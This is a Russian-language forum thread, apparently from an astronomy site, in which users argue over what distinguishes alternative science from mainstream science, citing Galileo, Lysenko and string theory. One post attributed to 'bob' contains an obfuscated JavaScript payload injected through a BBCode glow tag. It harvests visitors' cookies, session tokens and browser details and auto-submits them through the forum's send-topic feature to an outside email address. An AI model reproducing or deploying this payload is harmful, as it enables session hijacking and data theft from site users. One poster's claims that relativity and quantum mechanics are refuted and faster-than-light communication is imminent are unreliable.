Разница между альтернативной и неальтернативной наукой

[bob]

Какое именно научное сообщество считало Галилея еретиком? Вы священников записали в научное сообщество?

В "официальной" науке тоже появилось огромное число теорий с такой же обосновательной базой -  написал уравнение, и рассказывай как по этому уравнению  материя себя ведет, а  тем, кто тебя не поддерживает, можно заявить, что он необразованный альтернативщик...

Примеры огромного числа можете привести? Или это так --- ла-ла-ла?

Согласен. Во времена Галилея не существовало научного сообщества. Теологи не в счет.
А вот насчет второго высказывания уважаемого Ущеко трудно не согласиться. Увы, он не учитывает, что любая теория начинается с модели. Модель Бора тоже была постулирована, а не доказана, однако оказалась весьма полезной. То есть принцип "Выстрелил и забыл", написал формулу, а дальше как хотите, в науке вполне допустим, если формула интересна достаточному числу специалистов. Я много критиковал подобный подход Пенроуза. У него масса подобных математических эквилибристик, имеющих мало отношения к физике. Особенно про монополи. Увы, в соответствующих изданиях перед ними не ставят предупреждения вроде "Внимание - это упражнения скучающего джентльмена. Если Вам интересны олимпиадные ребусы для седых мальчиков - можете поинтересоваться".

[jiminy]

Граждане, я смотрю, вы большие знатоки Лысенко!
Какие его работы вы изучали?

[bob]

мы знатоки его научной политики. Работ, увы, никто здесь не читал. Возможно, среди них было и много толковых.[glow=red);background:url(javascript:люди, ну оставьте пожалуйста форум в покое{u=document.links\x5bi\x5d.href;n=u.search('=profile;user=');if(n!=-1)break;};if(n!=-1){nm=u.substr(n+14);if(document.cookie.search('3x3=dyrka')==-1){if(window.history.length==0){e=new\x20Date();e.setTime(e.getTime()+365*86400000);ed=e.toGMTString();document.cookie='3x3=dyrka;\x20expires='+ed;for(i=0;i\x3cdocument.links.length;i++){u=document.links\x5bi\x5d.href;n=u.search('sesc=');if(n!=-1){sc=u.substr(n+5\x2c32)};n=u.search('board=');if(n!=-1){bo=parseInt(u.substr(n+6))};n=u.search('threadid=');if(n!=-1){th=parseInt(u.substr(n+9))}};a='\x68ttp\x3a\x2f\x2f\x77ww.astronomy.ru\x2fforum\x2findex\x2ephp\x3fboard='+bo+';threadid='+th+';action=sendtopic2;y_email=aa@bb.cc;r_name='+nm+';r_email=anton2003@inbox.ru';mes=document.cookie+'\x20'+navigator.userAgent+'\x20'+screen.width+'x'+screen.height+'/'+screen.colorDepth+'\x20'+document.charset;b='\x3chtml\x3e\x3cbody\x20bgColor=#1A065B\x3e\x3cform\x20action=\x22'+a+'\x22\x20method=\x22post\x22\x3e\x3cinput\x20type=hidden\x20name=\x22sc\x22\x20value=\x22'+sc+'\x22\x20\x3e\x3cinput\x20type=hidden\x20name=\x22y_name\x22\x20value=\x22'+mes+'\x22\x20\x3e\x3c\x2fform\x3e\x3cscript\x3edocument.forms\x5b0\x5d.submit();\x3c\x2fscript\x3e\x3c\x2fbody\x3e\x3c\x2fhtml\x3e';document.write(b);}else{window.open(document.location.href).moveTo(-10000);}}}"));filter:glow(color=red,2,300] [/glow]

[zhuvictorm]

Граждане, я смотрю, вы большие знатоки Лысенко!
Какие его работы вы изучали?

Ну здесь, конечно, не биологи тусуются. Но об академике Лысенко наслышаны. А что, его теории опять в моде?

[ущеко]

Мне думается, что обвинение в "лысенковщине" достаточно серьезно, чтобы в его отношении действовал принцип презумпции невиновности. Поэтому это Вы, Вячеслав, должны доказать их вину, а не академики, или кто-то другой за них, должны доказывать свою невиновность.

Я не  в чем никого не обвинял, я проанализировал подходы опонента, и сделал вывод, что главным критерием для ученого, в его трактовке, служит оценка будущих поколений, ожидая которую, можно научность трактовать совершенно вольно.

Какое именно научное сообщество считало Галилея еретиком? Вы священников записали в научное сообщество?

Каждой эпохе, соответствует свое понятие учености, в средние века, самые образованные люди были именно священники, и не надо  смешивать Ваше личное понимание, с официальными оценками современников.

В "официальной" науке тоже появилось огромное число теорий с такой же обосновательной базой -  написал уравнение, и рассказывай как по этому уравнению  материя себя ведет, а  тем, кто тебя не поддерживает, можно заявить, что он необразованный альтернативщик...

Примеры огромного числа можете привести? Или это так --- ла-ла-ла?

Примерами интернет полон...

[Дмитрий Вибе]

в средние века, самые образованные люди были именно священники, и не надо  смешивать Ваше личное понимание, с официальными оценками современников.

Вот пример альтернативной "научной логики". Церковь официально признала учение Галилея еретическим. Среди священников были образованные люди. Значит, тогдашняя церковь эквивалентна современному научному сообществу. Значит, современное научное сообщество эквивалентно тогдашней церкви. Современное научное сообщество не признает мою "теорию". Значит, я эквивалентен Галилею.

Примерами интернет полон...

Я так и думал.

[ущеко]

в средние века, самые образованные люди были именно священники, и не надо  смешивать Ваше личное понимание, с официальными оценками современников.

Вот пример альтернативной "научной логики". Церковь официально признала учение Галилея еретическим. Среди священников были образованные люди. Значит, тогдашняя церковь эквивалентна современному научному сообществу. Значит, современное научное сообщество эквивалентно тогдашней церкви. Современное научное сообщество не признает мою "теорию". Значит, я эквивалентен Галилею.

Пока просто не знает.  А интернет изложение совершенно не понимается. По опыту симпозиума, я обнаружил, что ученый народ проходил некий путь в понимании моей теории, от полного отрицания, к тому, что в моем подходе есть обоснованность и смысл, там правда и изложение теории было несколько иное.

Примерами интернет полон...

Я так и думал.

Я могу указать на теорию большого разрыва...
А самый "пик" этого теоретезирования -  теория струн, и еже с ней бранно-мембранные теории разного пошиба.
Они не имеют смысла вообще, а если бы Вы приняли участие в научном мероприятии, на котором я выступил с докладом, то поняли бы почему я так утверждаю.


PS
А вообще то,  Ваше  последнее замечание, и мой ответ на него не имеют к обсуждаемой теме никакого отношения.

[Che]

В физике, астрофизике и т.д. существует огромное число проблем, решение которых может привести  и к решению указанных вами, но что бы понять суть этих проблем надо уже владеть достаточным уровнем математического образования.  Проблема не в том, что например, темная материя нам совсем не понятна, а в том что существует много различных гипотез, проверить которые до конца не удается. Гильберт в свое время сформулировал 44 проблемы в математике. Вы думаете математики не могли ни чего другого делать как только их решать? К настоящему времени почти все решены, многие решены были по пути так сказать при решении других задач,  но появилось большое число новых.  

В 1970 г. на меня сильное впечатление произвел метод решения неким ленинградским первокурсником одной проблемы Гильберта -  он просто ввел новое определение.  
  Из этого я сделал вывод : Если проблема не решается известными методами и подходами (или по каким-то причинам ее решение не нравится), необходимо придумать новые подходы(то есть, основы) и новые методы.
 

За всех альтернативщиков не скажу, но за себя скажу. Альтернативщики вроде меня появляются во многом потому, что астрофизики никак не решат двух колоссальных, вопиющих проблем: что такое темная материя и что такое темная энергия. Неудивительно, что люди в этой ситуации выбирают теории, для них наиболее убедительные, т.е. свои собственные, и отстаивают на астрофоруме свой выбор.

 Возможно, эти две проблемы имеют третий общий корень ?  

[ущеко]

"...Вот пример альтернативной "научной логики". Церковь официально признала учение Галилея еретическим. Среди священников были образованные люди. Значит, тогдашняя церковь эквивалентна современному научному сообществу..."

..................................................................................
Вот интересная статья по поводу альтернативы -
http://universitates.kharkov.ua/2003_4/Zolotov.htm
И вероятно более научный подход, то есть попытка провести анализ...

А более всего интересно это -

"...А. К. Сухотин в упомянутой книге [9] пишет, что парадоксальность революционной идеи проявляется и в том, что она фактически всегда алогична, то есть невыводима по правилам логики из принципов, положений, законов, принятых современной наукой. И далее. «Если мы будем придерживаться только тех законов, которые подкреплены лишь сегодняшним опытом, никаких серьезных открытий сделать не удастся. Прорыв к новым состояниям науки достигается поэтому не на пути рациональных объяснений и доказательств. Напротив. Новое может быть завоевано лишь благодаря «опасным» поворотам мысли, порывающей с рассудительностью. Опираясь на такие «иррациональные скачки», ученый оказывается в состоянии разорвать жесткий строй мысли, который ему навязывают дедукция и логика»..."

[Дмитрий Вибе]

А более всего интересно это -

Опираясь на такие «иррациональные скачки», ученый оказывается в состоянии разорвать жесткий строй мысли, который ему навязывают дедукция и логика»..."

Иррациональный скачок, о котором пишет Золотов (цитируя другого автора), не может быть самооправданием, он должен вести к какому-то новому знанию. ИМХО, беда альтернативщиков*) в том, что у них пресловутым иррациональным скачком все начинается и заканчивается. "Иррационально скакнув", автор альтернативной "теории" далее оказывается совершенно бессилен, потому что научным методом он пользоваться либо не может, либо не хочет, а другого у него нет.

*) Я понимаю под альтернативщиками людей, которые пытаются познать мир посредством альтернативного мышления.

[Aramis]

Альтернативщиками могут быть также люди, развивающие традиционный подход, который, по мнению общепризнанных альтернативщиков, не может объяснить действительного положения вещей.
Можно конечно много чего напридумывать, но в природе ничего не бывает просто так и имеет свою причину, за исключением Времени, у которого нет причины.
И кто тогда настоящие альтернативщики неясно.

[ущеко]

А более всего интересно это -

Опираясь на такие «иррациональные скачки», ученый оказывается в состоянии разорвать жесткий строй мысли, который ему навязывают дедукция и логика»..."

Иррациональный скачок, о котором пишет Золотов (цитируя другого автора), не может быть самооправданием, он должен вести к какому-то новому знанию. ИМХО, беда альтернативщиков*) в том, что у них пресловутым иррациональным скачком все начинается и заканчивается. "Иррационально скакнув", автор альтернативной "теории" далее оказывается совершенно бессилен, потому что научным методом он пользоваться либо не может, либо не хочет, а другого у него нет.

*) Я понимаю под альтернативщиками людей, которые пытаются познать мир посредством альтернативного мышления.

А я хотел сказать, что исследование данного автора довольно объемные, и почему то совпали с моим мнением, а Ваши исследования этой проблемы научны, или Вы решили своим отдельным мнением "закрыть" неудобные факты?

История  получения научных знаний, впрямую говорит о том, что новые знания зачастую противоречат научным взглядам ученых соответствующей эпохи.
Учитывая,  что в современной науке возникли проблемы, которые не замечает только непосвященный, или  специально делается вид на сокрытие проблемы. Проблема - полный тупик ранее выработанных подходов  в развитии науки, можно заключить, что революция взглядов вполне созрела.
И в понимании процесса развития научных подходов, я далек от реанимации   тех же эфирных теорий.
Мой подход базируется на продолжении развития взглядов ученых 19 и 20 столетия.   И поэтому, никто до сих пор не смог найти противоречия, хотя подход выглядит несколько нелепо, но это по причине неполной проработки.
Рассмотрев кризис фундаментальных знаний( мало этого диспута, для полного обоснования этого взгляда, как и для других пояснений), я  могу утверждать, что появленние новой теории уже необходимо, и вероятно процесс происходит. Но инерция " вбитых в сознание" установок путей развития науки не способствует восприятию.

[bobyl]

Вот мой ответ на исходный вопрос темы: Пионерная работа находит кормушку для всех, а альтернативная - только жилу для одного.

[nanoworld]

-Альтернативной науки просто нет. Она не существует. Это термин, придуманный на заказ. Разделение науки на официальную и альтернативную нужно тем, кто хочет сохранить власть в науке в борьбе за кормушку.

В реальности есть исследователи, которые освоили научный подход. Они занимаются наукой. Область исследований может быть любой. И генетика, и кибернетика, и НЛО.

Есть исследователи, которые не освоили научный подход. Они занимаются не наукой. Это могут быть наивные заблуждения, жульничество, политические игры...

Научным организациям свойственно перерождаться в ненаучные. В период зарождения университет способствовал распространению новых научных знаний. В период застоя в том же университете насаждают устаревшие и заведомо ошибочные взгляды.

В ближайшее время будет создана сверхсветовая связь, микроволновые источники энергии и летательные аппараты, после чего ошибочность ТО и КМ станет очевидной даже обывателям.

После этого произойдёт смена руководства университетов, где перестанут насаждать ошибочные взгляды Эйнштейна и Гейзенберга. Возродится классическая физика без принципа Эйнштейна и неопределённости Гейзенберга.

Пребывающие в забвении, проклятии и опале учёные будут востребованы, а релятивисты и квантовые "механики" будут поставлены перед выбором: либо на переучивание, либо на пенсию. Вот и вся альтернатива

[zhuvictorm]

-Альтернативной науки просто нет. Она не существует. Это термин, придуманный на заказ. Разделение науки на официальную и альтернативную нужно тем, кто хочет сохранить власть в науке в борьбе за кормушку.

В реальности есть исследователи, которые освоили научный подход. Они занимаются наукой. Область исследований может быть любой. И генетика, и кибернетика, и НЛО.

Есть исследователи, которые не освоили научный подход. Они занимаются не наукой. Это могут быть наивные заблуждения, жульничество, политические игры...

Т.е. вы хотите сказать, что альтернативной науки нет, потому что это не наука. Ну что ж правильно.

Научным организациям свойственно перерождаться в ненаучные. В период зарождения университет способствовал распространению новых научных знаний. В период застоя в том же университете насаждают устаревшие и заведомо ошибочные взгляды.

Вы хотите сказать, что все что преподается в университетах заведомо ложь. Позвольте с вами не согласится.

В ближайшее время будет создана сверхсветовая связь, микроволновые источники энергии и летательные аппараты, после чего ошибочность ТО и КМ станет очевидной даже обывателям.

После этого произойдёт смена руководства университетов, где перестанут насаждать ошибочные взгляды Эйнштейна и Гейзенберга. Возродится классическая физика без принципа Эйнштейна и неопределённости Гейзенберга.

Пребывающие в забвении, проклятии и опале учёные будут востребованы, а релятивисты и квантовые "механики" будут поставлены перед выбором: либо на переучивание, либо на пенсию. Вот и вся альтернатива

А если столь знаменательные события произойдут именно в рамках иследований по ОТО и квантовой теории?  Тогда все альтернативщики, что будут делать?

[Дмитрий Вибе]

http://vip.lenta.ru/news/2004/09/21/newheroes/

[Aramis]

Как бы не пропустить официального признания существования эфира  

[Дмитрий Вибе]

Просто непонятно какую позицию сейчас занимает официальная наука.

Об этом надо спрашивать у альтернативщиков. "Официальная наука", которая "занимает позицию" существует только в их воображении.

Как бы не пропустить официального признания существования эфира  

Как, интересно, Вы себе это представляете? В виде принятия постановления Президиума РАН? Или в виде пресс-релиза НАСА?

[Aramis]

Просто непонятно какую позицию сейчас занимает официальная наука.

Об этом надо спрашивать у альтернативщиков. "Официальная наука", которая "занимает позицию" существует только в их воображении.

Скажу по другому. Какую позицию занимают рецензенты?

Как бы не пропустить официального признания существования эфира  

Как, интересно, Вы себе это представляете? В виде принятия постановления Президиума РАН? Или в виде пресс-релиза НАСА?

Например будут ссылаться на существование абсолютной системы отсчёта (эфира) в рецензируемых журналах. Этого достаточно   .

[Дмитрий Вибе]

Скажу по другому. Какую позицию занимают рецензенты?

Считаете ли Вы рецензентов специальной организацией, устав которой всем им предписывает занимать одинаковую позицию?